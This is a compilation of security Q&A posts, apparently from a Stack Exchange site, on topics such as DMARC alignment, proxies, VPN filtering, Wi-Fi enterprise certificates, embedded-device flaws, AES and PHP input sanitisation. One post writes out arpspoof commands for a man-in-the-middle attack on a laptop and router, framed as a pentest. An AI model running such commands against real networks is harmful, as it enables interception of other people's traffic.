    <header_from>mydomain.com</header_from>
</identifiers>

This means that the From of the mail shows mydomain.com as the sender domain. This is the domain expected in SPF and DKIM records for identifier alignment.

<auth_results>
    <spf>
        <domain>otherdomain.com</domain>
        <result>pass</result>
    </spf>

This is a successful SPF record. The success of this record is only seen in relation to the SPF specification and not in the context of DMARC as can be seen from RFC 7489 Appendix C:

<!-- This element contains DKIM and SPF results, uninterpreted
    with respect to DMARC. -->
<xs:complexType name="AuthResultType">

Only it the email address in the SMTP dialog ("SMTP envelope") used otherdomain.com. Since otherdomain.com is not mydomain.com the identifier alignment fails and thus:

    <policy_evaluated>
        ...
        <spf>fail</spf>
    </policy_evaluated>

policy_evaluated is the result based on DMARC as can be seen from the specification:

<!-- Taking into account everything else in the record,
     the results of applying DMARC. -->
<xs:complexType name="PolicyEvaluatedType">


Alternative to Proxy servers for limiting internet access? My company is using on premise DMZ proxy servers to limit internet access to employees working from home. When they use company laptop, they are automatically configured to go through the proxy server for all traffic. The proxy will then block access to malicious and other unwanted site.
This solution works but is very bandwidth intensive as all traffic is multiplied by 2x. The proxy server is also under heavy ddos attacks (we're trying to figure this out too)
Is there another solution that can help us protect our company laptops and data by blocking dangerous traffic without using proxy servers? How does your company monitor work from home laptop traffic?
Thank you folks

There are several ways to secure and restrict internet access to mobile workers. One major idea is to filter at the DNS level, i.e. block name resolution for harmful domains. For example there are products from Cisco and Cloudflare in this area, probably others too. Since this is only filtering the DNS access these solutions are very lightweight. But on the other hand they cannot do any actual content inspection, like scanning the traffic for malware.
Such content inspection can be achieved by a proxy though and this is what you currently use. But instead of having a single proxy installation central in the company with all the overhead and scalability issues you experience, it might be better to have a proxy nearby to the mobile worker.
Nearby can mean on the endpoint itself, usually as part of some centrally managed endpoint protection or antivirus suite. Nearby can also mean in the cloud though. Several classic firewall vendors let you for example install their products in the cloud, but there are also cloud-native managed security solutions from ZScaler, Cloudflare and others.


ARP Spoofing does not update ARP Table I'm currently trying to do ARP-Spoofing / ARP-Poisoning with Kali Linux in Virtualbox in order to check the security of the Network of my company. I'm currently doing a little pentest, therefore I am allowed to do this. I'm trying to gain a man-in-the-middle position between a Laptop and my router.
Therefore, let's say I'm using the following:

Kali Linux in Virtualbox with external USB Wifi Adapter IP: 192.0.0.3 | MAC: CC:CC:CC:CC:CC:CC
Target-Laptop using Windows 10 IP: 192.0.0.2 | MAC: BB:BB:BB:BB:BB:BB
Default Gateway IP: 192.0.0.1 | MAC: AA:AA:AA:AA:AA:AA

Therefore I tried a few options for ARP spoofing, for example the MitM-Framework, ettercap and arpspoof.
When I capture the network traffic on Wireshark, I can see the ARP-Packets, saying:
192.0.0.2 is at CC:CC:CC:CC:CC:CC
and also:
192.0.0.1 (router) is at CC:CC:CC:CC:CC:CC

But when I'm looking up the ARP-Table on my target with arp -a , there is still the right MAC-Address for the default gateway.

For example I tried:

sysctl -w net.ipv4.ip_forward=1
arpspoof -i wlan0 -t 192.0.0.2 192.0.0.1
arpspoof -i wlan0 -t 192.0.0.1 192.0.0.2

Are there any suggestions what else I can try to fix my problem?

Your process seems OK to me. Inspecting ARP traffic is the right thing to do, as well as making sure your NIC is setup in promisc mode and there's no firewall rules in the way of the attack. From memory ettercap will change iptables for you. Once everything is in place, you would definitely see your ARP table change according to the attack.

Another point of observation is a simulated victim on the network, whereby you have wireshark running and observe the effects of the attack.

As a proof of concept, however, I would instead make sure I understand the process and make sure it works in a simpler ethernet based network. WiFi technology enables other means by which to control layer 2 access and detect or sometimes deter ARP spoofing attacks.


Does Azure Key-Vault encrypt the values before storing? We are using key-vault for storing the secrets, will it give any added advantage if we encrypt the values before storing it in key-vault?

You don't make clear exactly how you intend using Key-Vault.

As a general guide to encryption you should always ask the question, "Who has the keys?"

Many storage services offer to perform encryption for you, but if the encryption is not with your keys, it's not your protection.


Campus connection and application filtering - privacy convern I'm currently staying in a student residence on an university campus. The people in charge of the internet access of the whole campus would like to take over the students' network, which is at the moment administrated by a group of students.

This wouldn't be a problem, if they weren't going to put in place application filtering for the whole campus, for "security purposes".

As of now, we have to use a proxy to access the internet. Having some concerns for my privacy, I would like to use a VPN.

My questions are :

In the context of an university campus, how can application filtering improve security ?
Considering the net admin controls the proxy and is able to perform application filtering (DPI ?), would he be able to detect/block VPN traffic (even if it's running on server port 443) ?
If yes, is there a better way to prevent this filtering ?

It restricts what can run over the network and so reduces the possible attacks. The main reasons they would do this though aren't so much about security as to a) reduce bandwidth use by banning ToR, Torrents, streaming, etc. b) make life easier for the college by avoiding possible legal issues.
Yes. Whether it would detect a VPN on port 443 is hard to determine but certainly there are filters/proxies that will. The pattern of traffic is different for a VPN than straight HTTPS. If you look back a week or so, you will see a very popular question that contains further information related to this.
No. You can try to hide the fact that you are using a VPN which may or may not be successful. Or you could use a 4G/LTS mobile broadband connection.

Finally, here is my mandatory warning: If you try to bypass the security of the network, you will certainly be breaking the terms and conditions of use. Check the contract and your tenancy contract carefully as to possible consequences. In some countries, this might also be illegal.


Wi-Fi asks to accept (self-signed) certificate – What is it used for? When I tried to connect to my University's Wi-Fi for the first time, it asked me to accept a (probably self-signed) certificate.
Luckily they published the fingerprint so I was sure it is safe to accept.
The Wi-Fi then asked for a username and password.

Question:
What is this certificate used for? Does it have something to do with WPA2 Enterprise?

But why does it need a certificate? I mean my home Wi-Fi works fine without a certificate (PSK).

Sorry, ignore my earlier comments, I somewhat misread your question at first.

The eduroam network is asking you to accept their certificate so that your device can then use the public key linked to the certificate to make sure the server is who they claim they are and securely submit your login credentials for the network. So yes, this has to do with the 'Enterprise' in WPA Enterprise, as the 'Personal' (PSK) mode of WPA does not allow you to control network access on a per-user basis.

To expand a bit on that: In WPA, communications are symmetrically encrypted using a key that is generated in a so called four-way handshake from a pre-shared secret, random values that change for each session and some access point specific information. If you're interested in the details of the handshake, here is a great stackexchange answer that explains them.
The difference between personal and enterprise mode lies in what the pre-shared secret is. In personal mode, the secret is a predetermined passphrase (between 8 and 63 characters in length, I believe). Users implicitly 'authenticate' themselves through their knowledge of the passphrase which is obviously less secure than forcing them to actually prove they are a certain someone who was authorised to use the network. An additional problem is that users can eavesdrop on each others' conversations if they record someone else's handshake at the beginning of their session.

The enterprise mode on the other hand allows for a multitude of authentication methods that are handled by a so called RADIUS server. In your case, the eduroam network seems to use either the EAP-TTLS or PEAP method, both of which rely on a X.509 certificate to authenticate the server and establish a secure TLS tunnel to submit the user login credentials. The following is taken from the FAQ section of the eduroam network's website (emphasis mine) :

  IIn eduroam, communication between the access point and the user's home institution is based on IEEE 802.1X standard; 802.1X encompasses the use of EAP, the Extensible Authentication Protocol, which allows for different authentication methods. Depending on the type of EAP method used, either a secure tunnel will be established from the user’s computer to his home institution through which the actual authentication information (username/password etc.) will be carried (EAP-TTLS or PEAP), or mutual authentication by public X.509 certificates, which is not vulnerable to eavesdropping, will be used (EAP-TLS).

[source]

As you can see, alternative authentication methods could also include the use of client-side certificates for user authentication.

Now to come back to your question, the purpose of the server-side certificate here is to prevent someone else from posing as the access point and stealing your login credentials.


How to prevent Apple and Google from accessing Telegram messages Telegram is completely blocked in my country (entire IP range and domain of telegram is blocked), and I cannot access messages by telegram app. However, notifications for newly received telegram messages are being displayed on my android phone and iPad. This implies that in addition to me and Telegram Company, third parties (Google and Apple) also have access to my messages. If I am right and this is the case, how can I prevent those third parties from accessing my messages even with the cost of not showing telegram notification?
WhatsApp is not blocked in my country, but I believe that the same applies to WhatsApp messenger.
Because there have been times that WhatsApp messenger has been temporarily inaccessible, but its notifications showed up.

Telegram uses the Firebase Cloud Messaging system for its push notifications on Android, and APNS (Apple's equivalent) on iOS devices. These notifications to the Telegram app on your phone come from the Google and Apple servers, respectively.
Telegram -> Push Service (Google/Apple/etc) -> phone -> app -> notification

So yes, the traffic is not coming from the Telegram servers directly, and that's why the app is showing you notifications when the Telegram servers are blocked in your country.
But no, those services do not have "access to your messages"; the messages are secured in the same way that messages are secured coming from the Telegram servers directly.
The data that the Telegram servers pass on to these services are encrypted using the same encryption as the app. Once the app receives the data, it decrypts it to show you the notification.
Can you stop using the Push Service? By disabling notifications, you might trigger the Telegram app to de-register from the push notification service, but that will depend on how the app is created. I have not found the relevant documentation to confirm that one way or the other.


Execution condition for buffer overflow I have an old Beaglebone Black board which is similar to Raspberry Pi. Unfortunately, I forgot the Linux login password and can access the Linux using the Cloud9 feature. With this I can log into the Linux as a common user but cannot use any sudo commands.

In this situation, I can just wipe the microSD and reinstall the OS. But it might be a good chance to learn a penetration method. I can write C program and execute as a common user, then is it possible to execute a buffer overflow attack to reset my password?

You need to have root privileges to modify your password. This can be done by supplying the passwd utility with your user (non-root) password, since that utility is setuid and automatically runs itself as root no matter who executes it. If it verifies that the password you gave it matches the password on record for that user, it will allow you to change it by editing /etc/shadow for you.
There are many ways to get root on a system that you only have unprivileged local access to. This type of attack is termed local privilege escalation, or LPE. It usually relies on attacking a vulnerable setuid application, or attacking the kernel itself. Both of these require exploit development knowledge, which is not something someone can learn in one day, nor is it something that can be captured in a single answer here. If the system is running outdated software, you may be able to find a public vulnerability which you could use to elevate privileges. Otherwise, don't count on it.
As for using a buffer overflow exclusively, that's not going to work on any modern software. It might have worked in the 90s, but not today. There are numerous security techniques employed that make the naïve buffer overflow a thing of the past. Nowadays you need to bypass those techniques, which is not trivial. If you want to begin learning binary exploitation, start with a tutorial where you learn to exploit an intentionally insecure application with all the modern exploit mitigations manually disabled. Eventually you'll start learning how to perform the exploit even with mitigations in place (e.g. learning how to execute code in non-executable memory by leveraging ROP). This is the kind of thing you'll have to understand before exploiting a modern system with all the security in place.


Hashing speed with true random passwords Just a theoretical question:

If I had ideal users, who all provide fully random 128-bit passwords,
And also, I invalidate every password shorter than 128 bits.

Then would I still need a slow hash function to store these passwords?

If users could be relied upon to provide truly random passwords, there would be no need to use a slow hash function.  But you can never rely on users for that.


OWASP Top 10 style security guide for implementation in hardware devices I've seen OWASP Top 10 guides for web apps, native apps, etc., but never anything for embedded systems or hardware devices. These usually involve microcontrollers (e.g. Atmega / PIC) or small microprocessors which execute code and accept input from various data sources. Many implementations of a wide range of interfaces (including HDMI, HDCP, 802.11b/g/n and even IR remote controls) in physical devices have been shown to be vulnerable to DoS and more nefarious exploits.

Are there any guidelines for these kinds of devices, especially from a mitigation and testing point of view?

1. Backdoor testing accounts.

Engineers often include backdoor mechanisms and testing accounts in hardware for debugging purposes, with trivial or no security measures put in place to protect them. Unfortunately, a large number of devices make it to market without having these mechanisms and accounts disabled, allowing attackers to gain illegitimate access to the device.

2. Unsecured network management protocols.

Many devices implement SNMP or UPnP for remote management, but fail to implement even basic levels of security around them. Office equipment, networking hardware, industrial control systems, etc. often leak sensitive data (such as the routing table) via SNMP, and may provide various control functions via UPnP. Many UPnP-enabled devices implement the standard network interface management functions, which allow an attacker to disable a network interface. Further functions may allow an attacker to permanantly damage the device, or cause severe problems with functionality.

3. Buffer overflows.

Hardware implementations are notoriously bad for not checking target buffer sizes, and can allow complete corruption of the memory state. This may result in code execution, but more commonly simply results in a denial of service condition, where the device must be hard-reset before it can be used again.

4. Integer overflows / underflows.

These occur when an unsigned integer input is treated as signed, or a larger integer type is directly cast to a smaller integer type. Both of these issues may result in cases where a value is outside the expected range, which can cause array range checks and buffer length checks to pass despite the input buffer being too large. These can also result in read-what-where conditions, where a negative array index leads to memory operations accessing preceding memory regions.

5. Insufficient sanity checks.

Input values in hardware implementations are usually considered to have strong integrity, so sanity checks are often not performed. This might allow a malicious user to supply an unexpected value and change the behaviour of the device. A common example of this is when a set of bit-flags are used, and conflicting bits are set.

6. Shared, hard-coded secrets embedded in non-volatile memory.

Hardware designers are sometimes under the delusion that because something is stored in an EEPROM chip on a board, the data within it will not / cannot be read by someone who wishes to interfere with the device. It is common to find hard-coded cryptographic keys and other credentials stored in the firmware of a device. These might be used to compromise the device or its communications, and are often the same across all devices of the same model.

7. Poor quality, self-designed or missing crypto.

Often it is complicated to implement proper cryptographic algorithms in embedded systems, especially when working with less widesrpead microcontrollers and microprocessors. Reference implementations often assume x86-like or ARM-like architectures, which increase the work factor. Engineers also usually lack the knowledge and experience to properly implement cryptography. As such, cryptographic algorithms found in embedded systems tend to be poorly implemented, or are home-brew designs with serious security flaws. Many systems completely lack any form of hashing on passwords and other credentials. This type of data can usually be extracted from non-volatile memory using off-the-shelf tools.

8. Lack of strong integrity and authenticity checking on firmware upgrades.

The integrity of device firmware is often checked via a CRC32 or MD5 hash, but is rarely authenticated via any strong means. Many manufacturers rely on obscurity as a security measure. Whilst the cost of reverse engineering the firmware of a device may be considerable, it is becoming less so with the advent of common microprocessor architectures (e.g. ARM) in embedded systems. Once an attacker gains the ability to upload a firmware image, they may entirely subvert the system.

9. Various web-application flaws in control panels.

Many of the OWASP Top 10 web application flaws are disturbingly common in web control panels for embedded devices. CSRF, XSS and session theft feature highly in the list of common vulnerabilities, though SQLi is less common due to the relatively low number of systems that implement a full relational database.

10. Improperly bound network services.

Many network services on embedded devices are configured to bind to 0.0.0.0, rather than directly to a LAN IP address. This may allow an attacker to communicate with the device from outside the LAN. Appropriate segregation and firewall configuration may help to mitigate this, but it is still a concern.


Guidance for "image based" password reset challenge Thycotic has a Password Reset Server that allows the user to select from several images.

What general guidance is there for an image-based password reset challenge question?

Examples may include

How many images should be offered?
How many should be selected as part of the reset process?
What types of images should be used?
What types of images should not be used?

For any password management scheme building a balance between usability and security can be a difficult task. It might be possible that a particular graphical password technique has a higher usability but less security and vice versa. For example increasing the size of image library would provide a larger password space, but may lead to longer login time.

Images based password schemes offers new challenges as compared to test based password schemes. i.e. Dictionary based attack where majority of users may like to choose from specific set of images. In order to establish basic guidelines we need to conduct a good case study to understand user behavior and identify anomalous behaviors.


Is AES vulnerable if the plain texts share a known format? AES encryption, if done correctly (secure mode; random IVs for every text; ...) is considered secure. Does this change if the plain texts have well-known formats?

For instance, say we encrypt JSON strings that conform to a public schema. That is, the input strings all start off in the same way, say

{
    resourceId: <number>,
    ...
}

Is this a problem per se? Does it become a problem if the shared prefix is long, in particular longer than one AES block?

That would be 16 bytes in the case of Common Crypto, which is not a lot; above example has (at least) 15 bytes shared prefix even assuming ASCII encoding!

Any modern encryption method is secure against known-plaintext attacks, and even chosen-plaintext attacks. The only thing that is exposed by a ciphertext is its (approximate) length. The mathematical notion behind this is indistiguishability under chosen-plaintext attacks (IND-CPA for short); what this means in a nutshell is that if an adversary chooses two plaintexts of equal length and receives the encryption of one of them, the adversary is unable to tell which one was encrypted. The two plaintexts may have a common prefix, they may differ by as little as one bit. Computer-era cryptographic algorithms are generally designed to be robust in terms of what data they can process — the inputs can be any set of byte strings (up to a very large length limit).

This assumes that the encryption is performed correctly, in particular with a valid mode (such as CTR or CBC, never EBC) and proper IV selection (random each time a message is encrypted is always fine).

Note that IND-CPA is not the full story. Some attacks may be possible where the adversary submits chosen ciphertexts (that may or may not be valid) to the party with the secret key. An adversary may be able to obtain information by submitting variations of a ciphertext (even if they don't know what it decrypts to), having them decrypted, and observing the consequences (even if they don't get access to the decrypted output, they may be able to observe how long it takes, whether it triggers certain errors, etc.). Many systems built on cryptography actually require indistinguishability under adaptive chosen-ciphertext attacks (IND-CCA2). Protection against chosen ciphertext attacks requires authentication.

The best way to authenticate data, which protects against chosen ciphertext attacks, is to use an authenticated encryption mode. See Why should I use Authenticated Encryption instead of just encryption? for a more detailed explanation. Popular ones include GCM, CCM, OCB and EAX, CWC. Any of these five is as secure as it gets; see Choice of authenticated encryption mode for whole messages for other considerations such as performance. If you have to use a library that doesn't provide AEAD modes, you can combine a MAC with CBC or CTR, but doing it right is tricky; in 2017, I think that if your library doesn't provide AEAD modes, you should get a more up-to-date library.


Can hacker delete my server files and database where I am using below function? I want to know how to protect my website from hackers. I am a php-mysql developer. For fetching data from databases I always use MySQLi. For preventing my website from SQL injection, I always use PHP's $db->real_esacpe_string() function. In order to prevent my website from XSS (cross-site scripting), I used this function:

function parsing($text)
{
global $db;
        $text=$db->real_escape_string($text);
 $text= @trim($text);
       $text= strip_tags($text);
 if(get_magic_quotes_gpc()) {
            $text= stripslashes($text);
        }
    $text=str_replace('<','',$text);
    $text=str_replace('>','',$text);
       $text=htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
    return($text);
}
$name=parsing($_POST['name']);

Any suggestion from your side is welcomed. Thanks in advance.

To be awfully honest, this function is just an arbitrary collection of more or less useless or harmful and sometimes even contradicting procedures, most of which has nothing to do with security at all. Now to the most important part.

SQL Injection

  For prevent my website from sql injection i always use $db->real_esacpe_string()

Which is what you are doing wrong. You're not alone though, I list it as the most infamous PHP delusion. Citing from that page:

  this function has absolutely nothing to do with safety or injections, merely escaping special characters in SQL string literals, making them immune to SQL injection as a side effect, but being utterly useless for any other query part, from a table name to a numeric literal. To protect from SQL injection, one should follow two simple rules:

  Any variable data literal (i.e. a string or a number) should be substituted with a parameter, whereas actual value should be sent to the query separately, through bind/execute process.
  All other query parts that happen to be added through a variable, should be explicitly filtered through a hardcoded list of allowed values.

Given raw mysqli is rather tough with prepared statements, I would strictly suggest to use PDO instead.

So the main idea that nothing related to SQL security should be in such a function at all.

XSS

Let's see what are you doing with malicious < and > characters:

first, all tags get removed by strip_tags($text);
then these symbols (already extinct from the text) get replaced with an empty string
finally those non-existent characters get converted to HTML entities

If you ever ask me to define "overkill" I will just show you this function. htmlspecialchars() alone should be enough to prevent XSS in the page body.

What is more important, you seems to be using this function on the data input which is wrong. A text should be formatted right before the output, according to the formatting rules for the certain medium. If you're outputting into HTML page body, it would be htmlspecialchars. It the text goes to JavaScript then it should be another formatting and so on.

Useless stuff

trim() has nothing to do with security at all, you could use this function for convenience.

on a side note, never even use this @ operator. It is harmful for your programming experience.

stripslashes() as well, has nothing to do with security. Besides, this function is just useless, never doing anything sensible at all.
Not to mention that get_magic_quotes_gpc() is twice useless, returning a value that has been removed from PHP 10 years ago.

Conclusion

get rid of this function
to prevent SQL injection follow 2 rules from above
to prevent XSS use htmlspecialchars when outputting your data or any other appropriate formatting.


How application-level stateful firewall impacts network performance For the "application-level stateful firewall", I mean:

the firewall inspects the application-layer payload (e.g. deep packet inspection), memorize the status using some parameters, and store it in the firewall
the status will be compared between upcoming packet and stored historical packets

My question is:

I want to find more literature about limitation on the max number of packets to be inspected and memorized (status), and the impact on network performance, for such application-level stateful firewall.

First, an application-level firewall is usually always stateful, unless you deal with application protocols where each packet can be analyzed separate from the rest. Therefore one only distinguishes between stateful and stateless analysis with packet filter firewalls but not with application-level firewalls.

The number of packets the firewall can process, the impact it has on the network performance (i.e. throughput and latency) and the limitations in processing depend on a lot of factors, like the complexity of the application protocol to be analyzed, the quality and depth of the analysis and the performance of the underlying hardware and operating system. This means no hard numbers are possible. But in general: the more effort is put into a proper analysis of the protocol the slower it gets but the more secure it gets too. And one can try to make it faster by throwing more expensive hardware on it, i.e. the classical trade-off between performance, price and security.

Unfortunately most vendors and literature only talk about performance and maybe price and not about how deep and solid the application analysis really is and what level of security it really provides. Thus you might have a look at the white papers and sales brochures of the various vendors for some performance numbers but keep in mind that performance and price are only one aspect and that a major aspect of a firewall should be the security it really provides and not the one which is claimed (which is usually "full protection", but the cheaper the firewall the higher is the chance of dubious claims).


How do a firewall's rules for individual programs work? I kind of know that how a firewall's rules for IP/port work, but I have no idea how a firewall deals with individual programs.

In other words, how does the firewall know a program wants to access the Internet and stop it?

Application filtering firewalls are hooked into the operating system at the kernel level and aware of any file access. That file access awareness includes network sockets.

For a visual demonstration of this on:

Linux, use lsof -i
MacOS, use lsof -i
Windows, use Process Explorer

The firewall is aware of the requesting process and associated network information (port, state, address, etc.) just as those applications above are, but it also has the ability to modify, prevent, or close connections.


Mail server security: Mails to internal receivers with faked sender address I noticed that I am able to send emails from my company's mail server to internal receivers from faked inhouse sender addresses without problem and I'm wondering if this should be supposed a security issue or not.

I wrote a little python script to connect to the server and send a mail from personA@company.com to personB@company.com and that mail was delivered without any problems. Sometimes it was marked as spam, sometimes not. After a few e-mails, the sending server got blocked because of poor reputation.
So my question is: Is this really expected behaviour?

I would expect that such a setup is ideal for sending phishing or spamming mails to employees of that particular organization. Of course, I do understand that you should be able to connect to an smtp server from outside to send mails to local receivers, otherwise no mails could be delivered. But is it really common that there is no kind of verification of the sender address or that it is so weak?

A member of the IT-Department didn't seem suprised when I talked to him about that issue and told me that this was quite normal behaviour. This post suggests that he is right: Issues with using a mail server that doesn't support authentication to send mail?. So I checked if I could do the same with my (security-aware) mail-provider: The client got blocked before it could even send the mail, and client and receiver address, both my regular mail addresses, were rejected. That's what I would expect from a correctly configured server. Am I wrong here? Is it really negligible?

The problem that you are describing is known as spoofing, where you are able to send a message from personA@company.com, even though you are not personA@company.com.

Because the SMTP protocol dates back to the early 1980's, when the internet was in its early stages and used only by a relatively small number of users, the engineers of the SMTP protocol did not foresee the problem of spoofing. Because of this, users can easily send messages appearing to have been sent from any sender that they choose.

To counter the problem of spoofing, message authentication methods have emerged. These methods are used to determine whether the sender's address appearing on a message is likely to be legitimate, or whether it is likely to have been spoofed. By authenticating whether or not a message was likely to have been sent from the sender that it purports to have been sent from, spam filters can more accurately determine whether or not a message is likely to be spam. Two standards that have become widely used for message authentication are Sender Policy Framework (SPF) and Domain Keys Identified Mail (DKIM).

SPF is a way of publishing the IP addresses of mail servers that outbound mail for a domain is authorized to be sent from. This enables spam filters to determine if a message was likely spoofed. If the message was sent from a mail server whose IP address is not listed in the SPF record for the domain of the purported sender, then the message is likely to have been spoofed. SPF records are published as TXT records in the DNS for a domain.

DKIM is another method for authenticating messages. It's an outgrowth of an earlier standard, known as DomainKeys, and is based on public key cryptography and digital signatures. Using DKIM, the message is digitally signed by an entity - which can be either the sender themselves, or a third party. The signer's public key, which is used for verifying the signature, is published in the DNS for their domain. When a message is signed, the DKIM signature is placed in the header of the message. Upon receipt of the message, the signature is verified using the signer's public key. If the signature is valid, then this indicates that the signer has vouched for the authenticity of the message. UltraSMTP can DKIM-sign your messages on your behalf using our keys, or messages can be signed by UltraSMTP using your keys.

Your company's domain should have SPF or DKIM information published in its DNS.  If you configure your incoming MX to check that incoming messages appearing to have been sent from users in your company's domain have been sent from an SMTP server included in your company's SPF record, or contain a valid DKIM signature, then it can use this to flag these spoofed messages.


Monitoring file access on Windows I need a way to monitor user file access on windows. What I need is:

monitoring of user opening, modifying (don't need to know what the changes were, just that a file was modified), copying, pasting and renaming files
file access monitoring on shared drives that user has access to
file access monitoring on local drives is a plus
needs to run in background (needs to be out of reach of a non-privileged user)
some kind of reporting is a plus
if no reporting capability is provided it needs to have log exporting capability and logs need to be "parseable" (and not in some "wild" format that has no logic/structure)
including/excluding folders that need to be monitored is a plus

Is there such a tool for windows?

I found process monitor, but I could not find a way to run it in background and I would have to create a programm to create some kind of report out of procmon logs.

Any other tools I should check out?

The built in windows auditing can do this if you're running a domain, or at least windows 2003/Vista and are willing to set it up in group policy. Enable object access auditing and then set up the files and folders you want to audit. There are a large nunber of tools that can then read and sort/filter the windows logs ... I'm a fan of GFI EventsManager, but there are a lot of options.

A basic blog on the how to setup is here:How to monitor file and folder access on a windows file server


Home network website tracking Can my Website history be tracked by my work IT team if I am using my own home network with my work tablet?

Yes, it can be tracked.

There is a high possibility of getting traced from a work system. but it is not just that easy to determine. It is based on the company policies that includes privacy and security. Employees might not be made aware of it though. There are certain protocols followed in every company regarding the security.

So it is almost legal to track every operations in your (Actually their) system.

But that doesn't mean that they can get all your passwords when using banking sites or others unless they have installed some key logger or screen recorder software. But only few of them are really hard to find where it resides in our system. Others can be found out with some effort.

So if you are wise, do not do personal stuffs in their system that will spoil your privacy or reputation. After all it is not yours anyway.


Protect public(?) API endpoints I'm building a fairly simple web application at the moment but because I have plans on turning this into sort of a multi-project portfolio app, I've decided to decouple the back-end and the front-end. That way I can easily integrate my other projects into this front-end.

At the moment I have a public GET route that anyone can visit to see info about a project (api/project/id), this only fetches data from the corresponding ID and returns a JSON collection. I then use React to consume it and display the data.

Since this part is supposed to be publicly accessible I can't use JWT or user authentication to protect it, and you can't delete, edit or put things into the database from it. It's not insecure because all you can do is read data from the project with ID (which is properly escaped).

But this also means anyone can look at my React code, find the API link and then use my JSON data (for whatever reason). I don't think it's really a problem but is there anyway you can protect the public endpoint so that only my server can actually use it?

The back-end is on port 8080 and the front-end is on port 80. The back-end is PHP, both the front-end and back-end is served by nginx. CORS is enabled since they are on two different ports.

I know I can check the origin header and match it against my front-end but surely the origin header can be spoofed. I can't use authentication since it is supposed to be public but I'd like it to be only accessible to my server and then publicly displayed.

Maybe I can reverse proxy it somehow so they both listen on 80 while still being on two different ports? I have UFW on my server, can I only allow connections to port 8080 from my own server IP/domain? Can I check the IP of the request to the back-end, since my front-end is requesting it then in my API I should be able to only allow my own servers IP to access it?

I hope you understand what I mean and I understand that it might be a non-issue because in the end all they can do is read data that they can anyways read by just going to the "intended" front-end site. But at the moment I can use ajax from any computer/server to fetch the JSON data and that is basically what I want to prevent so that the only way to view the data is from it's "intended source/design" (i.e. via the front-end)

Basically an API for public content delivery but only allowing my server to access and display it.

tl/dr: If you have a read-only endpoint that only serves
public data, then don't bother to try to secure it further.  It's not
worth the time, and is impossible to do anyway.

You have a few misunderstandings here that are worth addressing.
It's not about blocking connections from outside your server
You're trying to make it so that your API endpoints only respond to your SPA.  However, that is not the same thing as limiting connections only to your server.  The reason is because your react app doesn't run on your server - it runs in the user's browser.  Your server sends the React app to the client, which runs in their browser.  As a result the API calls come not from your server but from your users' web browsers, potentially located around the world.
Of course the browser will helpfully send up the Origin header, letting you know that the request is being made on behalf of JavaScript that was hosted on your domain.  As you note though this definitely can be spoofed, as any non-browser client can easily send up whatever Origin they want.  In fact, every single aspect of the HTTP request can be spoofed by the client.
Therefore you want to block requests not coming from your app
Unfortunately for you this is quite literally impossible.  You can take steps to make it harder, but since the app runs on the client's machine, a sufficiently dedicated adversary would be able to reverse engineer any and all parts of it until they learn how your protection works and could then reproduce it wherever they want.  In essence, you are asking how to implement DRM.
While you certainly could try to implement some steps to make it harder for someone to make API requests to your server from outside of your app, in your particular use case it is highly unlikely that this would be worth the effort (especially for a demo app).
For broader context, if I were looking at a demo app of a candidate and saw that they implemented some ad-hoc DRM solution to try to keep people out of an otherwise anonymous endpoint, then I personally wouldn't consider this a good thing.  The most important part of security is learning to balance the risks and benefits, since any security measure inherently has some cost (if only the cost to develop it).  In particular any time spent implementing security features takes time away from feature development.  Most companies screw up by spending no time on security and more time on features, but there is an opposite side of that coin too.  Taking time to try to secure an endpoint in a way that cannot actually be done effectively is a poor way to spend time when there are always more features to implement!  Note, I don't say this to criticize your question or your thought process (which demonstrate a lot of forward thinking!), but rather to help you understand the broader "landscape" that you find yourself in.
Summary
In short, if you have a read-only endpoint that only serves public data, then don't bother to try to secure it further.  It's not worth the time, and is impossible to do anyway.


How is Skype showing ads from my Google search history? I can understand when I see the same ads across websites, and ads similar to my search history. Some tracking magic through cookies - fine.

But Skype has been showing me ads for exact terms I searched for in Google (Chrome), and nothing else. For example, after I searched for "Fossil messenger bag", all I saw in Skype was one Fossil ad for men's messenger bags. As far as I know, Skype does not snoop my system to read cookies/tracking info from Chrome.

Then I searched for "Infinity QX60" and now I see an ad for exactly that, with the name of a local dealer. When I click the little triangle, I'm taken to the http://dealer.com/opt-out/ - which is a different ad company than the Fossil one (http://info.criteo.com/).

The one and only thing that is the same in Skype and Google/Chrome is my (new, work) email address, which I use for both my Google account and Skype. So it seems to me that Google is actually giving away my personally identifiable information to Skype (or vice versa), i.e. my email address or at least unique hash of it (not much better, I think).

Is this even legal? I don't really care to be honest, just curious. The funny thing is the ads they're showing me are for one-time searches that have nothing to do with my overall browsing history and interests.

Extra Clarification: What I am asking is how the ads in Skype know who I am, i.e. what tracking info to use, since Skype does not use Chrome's cookies. If my email address  is being exchanged between Google and Skype for the ads, then is that legal?

This is because Skype displays Google Ads. So Skype isn't getting information from Google about you. They are displaying Google hosted ads which are based on your Google search history.

The search based ads shown are not based off your overall history but recent history by design as it is likely you are currently exploring the market for the product. Where previous searches might no longer be relevant for sales purposes.

Yes It is legal. When you use Google you agree to their terms of services.

  Our automated systems analyze your content (including emails) to provide you personally relevant product features, such as customized search results, tailored advertising, and spam and malware detection. This analysis occurs as the content is sent, received, and when it is stored.

As far as how they make this association the ads are hosted by Google so they have all the data they collected from you when you were using their search engine. They could've detected you are who you are via cookies or "a similar technology". They list that they collect data via that and use it exactly for this purpose under the "Cookies and similar technologies" section in their privacy policy

  We and our partners use various technologies to collect and store information when you visit a Google service, and this may include using cookies or similar technologies to identify your browser or device. We also use these technologies to collect and store information when you interact with services we offer to our partners, such as advertising services or Google features that may appear on other sites. Our Google Analytics product helps businesses and site owners analyze the traffic to their websites and apps. When used in conjunction with our advertising services, such as those using the DoubleClick cookie, Google Analytics information is linked, by the Google Analytics customer or by Google, using Google technology, with information about visits to multiple sites.

Disclaimer: At the time of this answer's post the question hinted more towards how are ads showing what I looked up and less of what is technically happening. The original asker has since updated their question. I am not saying cookies are the exact thing they use. "Cookies or a similar technology" is Google's words not mine. This also means the tracking expands beyond cookies. So just because X can't use cookies because of Y reason doesn't mean Google is strictly using cookies. As mentioned in the comments possible vectors relating the data is because they use the host machines browser for HTTP capabilities, use IPs, use some form of machine/browser finger printing, or it is a trade secret not made public. I have not updated my answer because of the lack of evidence one of these is correct.


Is it important for a web application's middle-tier to use a different communication protocol? When building an n-tier/layered web application where each tier is physically separated from the others, is it important for a different communication stack to be used by the backend tier(s)—which are not exposed to the Internet—than the web tier that is?

Being security conscious in building a web application, I am building a middle-tier (backend-tier, application server) that handles all data access for the web application so that the web server never has direct access to the database.

